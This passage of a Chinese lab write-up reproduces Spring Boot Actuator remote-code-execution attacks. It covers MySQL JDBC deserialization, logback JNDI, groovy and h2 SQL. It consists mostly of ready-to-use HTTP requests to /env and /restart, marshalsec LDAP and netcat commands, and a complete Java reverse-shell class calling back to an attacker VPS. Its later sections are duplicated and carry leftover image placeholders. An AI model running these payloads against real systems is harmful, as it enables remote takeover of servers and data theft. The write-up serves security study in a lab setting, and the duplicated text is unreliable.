mysql-connector-java 5.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
mysql-connector-java 8.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.url=对应属性值
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.url","value":"对应属性值"}
步骤四:刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
步骤五:触发数据库查询
尝试访问网站已知的数据库查询的接口,例如:/product/list
,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
对于该靶场,我在src/main/java/code/landgrey/controllers/ProductController.java
找到了可访问的接口:
步骤六:恢复正常 jdbc url
反序列化漏洞利用完成后,使用步骤三的方法恢复步骤一中记录的spring.datasource.url
的原始value值
存在的问题
目前触发数据库查询后,已经成功将payload发送给了目标服务器。但是目标服务器在接收payload时存在错误,尚不清楚具体原因,猜测是恶意python脚本与靶场环境springboot2.x不兼容,或靶场内部各组件不同版本之间存在兼容问题。我的靶场环境主要组件及对应版本是Ubuntu18.04
、mysql8.0.12
、commons-collections4.4
、springboot2.2.1.RELEASW
。有在其他环境(例如windows+IDEA)复现成功的小伙伴记得告诉我*(ToT)*
0x09:restart logging.config logback JNDI RCE
https://github.com/LandGrey/SpringBootVulExploit#0x07h2-database-console-jndi-rce上的该漏洞复现方式已经不能用了。但由于该漏洞与0x04: jolokia logback JNDI RCE
原理相近,所以我使用该漏洞的方式进行复现
利用条件
-
可以 POST 请求目标网站的 /env 接口设置属性
-
可以 POST 请求目标网站的 /restart 接口重启应用
-
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
-
目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
-
HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
-
JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出
漏洞利用
步骤一:托管 xml 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以xml
结尾的hack.xml
文件,实际内容要根据步骤二中使用的JNDI
服务来确定:
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>
步骤二:准备要执行的 Java 代码
/**
* javac -source 1.5 -target 1.5 JNDIObject.java
*
* Build By LandGrey
* */
import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class JNDIObject {
static {
try{
String ip = "your-vps-ip";
String port = "443";
String py_path = null;
String[] cmd;
if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
for(int i = 0; i < py_envs.length; ++i) {
String py = py_envs[i];
if ((new File(py)).exists()) {
py_path = py;
break;
}
}
if (py_path != null) {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
} else {
cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
}
} else {
if ((new File("/bin/bash")).exists()) {
cmd = new String[]{"/bin/bash"};
} else {
cmd = new String[]{"/bin/sh"};
}
}
} else {
cmd = new String[]{"cmd.exe"};
}
Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
Socket s = new Socket(ip, Integer.parseInt(port));
InputStream pi = p.getInputStream();
InputStream pe = p.getErrorStream();
InputStream si = s.getInputStream();
OutputStream po = p.getOutputStream();
OutputStream so = s.getOutputStream();
while(!s.isClosed()) {
while(pi.available() > 0) {
so.write(pi.read());
}
while(pe.available() > 0) {
so.write(pe.read());
}
while(si.available() > 0) {
po.write(si.read());
}
so.flush();
po.flush();
Thread.sleep(50L);
try {
p.exitValue();
break;
} catch (Exception e) {
}
}
p.destroy();
s.close();
}catch (Throwable e){
e.printStackTrace();
}
}
}
然后将生成的 JNDIObject.class 文件拷贝到步骤二中的网站根目录。
步骤三:架设恶意 ldap 服务
下载 marshalsec
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
这将在target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar
接下来使用使用下面命令架设对应的ldap服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
使用nc监听443端口
nc -lvp 443
步骤四:设置 logging.config 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/hack.xml
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/hack.xml"}
步骤五:重启应用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
程序异常退出问题
JNDI服务返回的object
需要实现javax.naming.spi.ObjectFactory
接口,否则可能会导致程序异常退出
我并未实现该接口,却没有遇到程序异常退出的问题。如果你遇到了程序异常退出问题,可以尝试修改我们的java注入代码。比如使用如下代码:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javax.naming.Context;
import javax.naming.Name;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;
public class CommandRaw extends AbstractTranslet implements javax.naming.spi.ObjectFactory{
private static String cmd = "open -a Calculator";
public CommandRaw() {
String[] var1;
if (File.separator.equals("/")) {
var1 = new String[]{"/bin/bash", "-c", cmd};
} else {
var1 = new String[]{"cmd", "/C", cmd};
}
try {
Runtime.getRuntime().exec(var1);
} catch (IOException var3) {
var3.printStackTrace();
}
}
public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
return new Object();
}
}
详情参考https://landgrey.me/blog/21/
0x0A:restart logging.config groovy RCE
该漏洞和0x09
原理很相近,唯一的差别就是该漏洞注入groovy
文件中的代码而不是架设在ldap服务上的class
文件
利用条件
-
可以 POST 请求目标网站的 /env 接口设置属性
-
可以 POST 请求目标网站的 /restart 接口重启应用
-
目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
-
HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出
-
环境中需要存在 groovy 依赖,否则会导致程序异常退出
漏洞复现
步骤一:托管 groovy 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以groovy
结尾的hack.groovy
文件,内容为需要执行的 groovy 代码,比如:
Runtime.getRuntime().exec("mkdir /success")
步骤二:设置 logging.config 属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
步骤三:重启应用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
0x0B:restart spring.main.sources groovy RCE
该漏洞和0x0A
几乎一样,唯一的差别就是POST设定的属性不同
利用条件
-
可以 POST 请求目标网站的
/env
接口设置属性 -
可以 POST 请求目标网站的
/restart
接口重启应用 -
目标可以请求攻击者的
HTTP
服务器(请求可出外网),否则restart
会导致程序异常退出 -
HTTP 服务器如果返回含有畸形
groovy
语法内容的文件,会导致程序异常退出 -
环境中需要存在
groovy
依赖,否则会导致程序异常退出
漏洞复现
步骤一:托管 groovy 文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以groovy
结尾的hack.groovy
文件,内容为需要执行的 groovy 代码,比如:
Runtime.getRuntime().exec("mkdir /success_0x0B")
步骤二:设置spring.main.sources属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/hack.groovy
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/hack.groovy"}
步骤三:重启应用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
0x0C:restart spring.datasource.data h2 database RCE
这个和0x0A
、0x0B
依然非常相近
利用条件
-
可以 POST 请求目标网站的 /env 接口设置属性
-
可以 POST 请求目标网站的 /restart 接口重启应用
-
环境中需要存在 h2database、spring-boot-starter-data-jpa 相关依赖
-
目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
-
HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出
漏洞复现
步骤一:托管sql文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以任意后缀名结尾的文件(这里用hack.sql
),内容为需要执行的 sql 代码,比如:
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','mkdir /success_0x0C');
上面payload中的 'T5’方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出
步骤二:设置spring.datasource.data属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/hack.sql
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/hack.sql"}
步骤三:重启应用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
dir /success_0x0B")
### 步骤二:设置spring.main.sources属性
spring 1.x
```plain
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/hack.groovy
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/hack.groovy"}
[外链图片转存中…(img-oNwESEFm-1695201345208)]
步骤三:重启应用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json
[外链图片转存中…(img-KVakrg2J-1695201345209)]
[外链图片转存中…(img-76aeksID-1695201345209)]
0x0C:restart spring.datasource.data h2 database RCE
这个和0x0A
、0x0B
依然非常相近
利用条件
-
可以 POST 请求目标网站的 /env 接口设置属性
-
可以 POST 请求目标网站的 /restart 接口重启应用
-
环境中需要存在 h2database、spring-boot-starter-data-jpa 相关依赖
-
目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
-
HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出
漏洞复现
步骤一:托管sql文件
在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
在根目录放置以任意后缀名结尾的文件(这里用hack.sql
),内容为需要执行的 sql 代码,比如:
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','mkdir /success_0x0C');
上面payload中的 'T5’方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出
步骤二:设置spring.datasource.data属性
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/hack.sql
spring 2.x
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/hack.sql"}
[外链图片转存中…(img-fiKV7rdJ-1695201345209)]
步骤三:重启应用
spring 1.x
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/restart
Content-Type: application/json